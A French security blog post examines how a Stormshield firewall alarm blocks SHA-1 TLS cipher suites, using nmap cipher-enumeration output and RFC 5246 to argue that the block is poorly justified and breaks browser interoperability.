%> nmap  --script ssl-enum-ciphers.nse  mystormshield.eu
Starting Nmap 6.40 ( http://nmap.org ) at 2015-11-05 16:05 CET
Nmap scan report for mystormshield.eu (91.212.116.103)
Host is up (0.088s latency).
PORT    STATE SERVICE
443/tcp open  https
| ssl-enum-ciphers:
|   SSLv3: No supported ciphers found
|   TLSv1.0:
|     ciphers:
|       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_SEED_CBC_SHA - strong
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
|       TLS_RSA_WITH_AES_128_CBC_SHA - strong
|       TLS_RSA_WITH_AES_256_CBC_SHA - strong
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|       TLS_RSA_WITH_RC4_128_SHA - strong
|       TLS_RSA_WITH_SEED_CBC_SHA - strong
|     compressors:
|       NULL
|   TLSv1.1:
|     ciphers:
|       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_SEED_CBC_SHA - strong
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
|       TLS_RSA_WITH_AES_128_CBC_SHA - strong
|       TLS_RSA_WITH_AES_256_CBC_SHA - strong
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|       TLS_RSA_WITH_RC4_128_SHA - strong
|       TLS_RSA_WITH_SEED_CBC_SHA - strong
|     compressors:
|       NULL
|   TLSv1.2:
|     ciphers:
|       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 - strong
|       TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 - strong
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 - strong
|       TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 - strong
|       TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|       TLS_DHE_RSA_WITH_SEED_CBC_SHA - strong
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
|       TLS_RSA_WITH_AES_128_CBC_SHA - strong
|       TLS_RSA_WITH_AES_128_CBC_SHA256 - strong
|       TLS_RSA_WITH_AES_128_GCM_SHA256 - strong
|       TLS_RSA_WITH_AES_256_CBC_SHA - strong
|       TLS_RSA_WITH_AES_256_CBC_SHA256 - strong
|       TLS_RSA_WITH_AES_256_GCM_SHA384 - strong
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|       TLS_RSA_WITH_RC4_128_SHA - strong
|       TLS_RSA_WITH_SEED_CBC_SHA - strong
|     compressors:
|       NULL
|_  least strength: strong

Dans ce cas-ci (sans filtrage), nous n’avons que l’embarras du choix…

Au passage, une question nous taraude l’esprit : Pourquoi diable le site du support n’accepte pas l’utilisation de ECDHE comme algorithme d’échange de clé ? Ils ont un truc contre  les courbes elliptiques ? Aurait-ce un rapport avec le revirement de la NSA sur ces méthodes ? Et RC4 est proposé par le serveur… Ce n’est pas faute d’avoir expliquer comment durcir une configuration SSL !

Mais revenons à nos moutons : à force de tentative, on découvre empiriquement que l’alarme bannit tout protocole qui utilise SHA-1 et ce un peu en avance par rapport au reste du monde. De plus cette alarme n’est pas nouvelle sur cette version (elle était déjà présente sur la version 2.1.2), son comportement est devenu plus « sectaire » vis à vis de SHA-1. Une relecture attentive de la documentation accompagnant la nouvelle version confirme cela :

Le niveau de sécurité de certains algorithmes de chiffrement avait été déprécié au sein du plugin
SSL: [...] algorithmes de type SHA1 passant au niveau moyen. (page 5)

Malheureusement la même documentation ne justifie pas cette décision.

Il est ici important de préciser que Firefox dans sa dernière version propose le SHA256 uniquement avec ECDHE (vous pouvez aussi vérifier la liste des suites activées et disponibles via about:config) :

FF

Donc finalement, on dira que FireFox ne propose pas suffisamment de suites pour permettre une bonne interopérabilité avec cette alarme ASQ et la navigation sur un grand nombre de sites.

Mais pourquoi sont-ils si méchants ?

Du coup, on est content : grace à cette alarme, nous sommes protégés contre les attaques sur SHA-1.

Oui mais non, rappelez vous plus haut : nous avons insisté à la version du protocole utilisé : en effet, cela a une petite importance. En lisant la RFC 5246, nous apprenons que HMAC-SHA1 et HMAC-MD5 sont automatiquement remplacés par HMAC-SHA256 (premier paragraphe) ! Ce qui en termes plus explicites  signifie qu’en TLS 1.2, la suite de chiffrement TLS_RSA_WITH_AES_256_CBC_SHA utilise HMAC-SHA256 comme fonction pseudo-aléatoire.  Cette fonction sert notamment à calculer la fameuse clé maitre du chiffrement. Le SHA n’est alors utilisé que dans le contrôle d’intégrité des paquets chiffrés.

Ce qui nous amène tout droit à notre deuxième point, les attaques sur SHA-1 précédemment citées ont-elles un impact sur la sécurité de HMAC-SHA1 ? Et bien non. D’ailleurs la plus part des annonces sont faites sur l’abandon de la fonction SHA-1 dans un cadre bien précis : les algorithmes de signature (type certificat, horodatage), ce qui n’est pas tout à fait la même chose.

De plus bloquer SHA-1 dans SSL/TLS, revient à interdire toutes les versions du protocole antérieures à TLS 1.2. La navigation va donc être fortement impactée avec cette alarme à ce niveau de sécurité.

Mais bon, nos amis lillois ont du voir grand et décider de bannir SHA-1 complétement de toutes les négociations cryptographiques… Effectivement c’est ce que nous pourrions nous dire, cependant naviguer vers des sites utilisant un certificat signé en SHA1_RSA est complétement possible (ici ou par exemple) alors que l’alarme est activée. Mais pour les administrateurs de boitier, vous pouvez simplement vous connecter à votre interface et vérifier l’algorithme de signature du certificat par défaut. C’est un petit point à garder en tête quand les principaux navigateurs vont bloquer SHA-1 : ça risque d’être un peu la panique en Janvier).

Du coup, ce blocage a-t-il un sens ?  Si oui, lequel ? En tous les cas, cela n’a rien d’évident.

Quelqu’un pourrait demander plus d’info à « bouclier de tempête » ? Nous, on aimerait bien mais on arrive pas à accéder au site du support !

Publié dans Sensibilisation, Système | Tagué , , , | Laisser un commentaire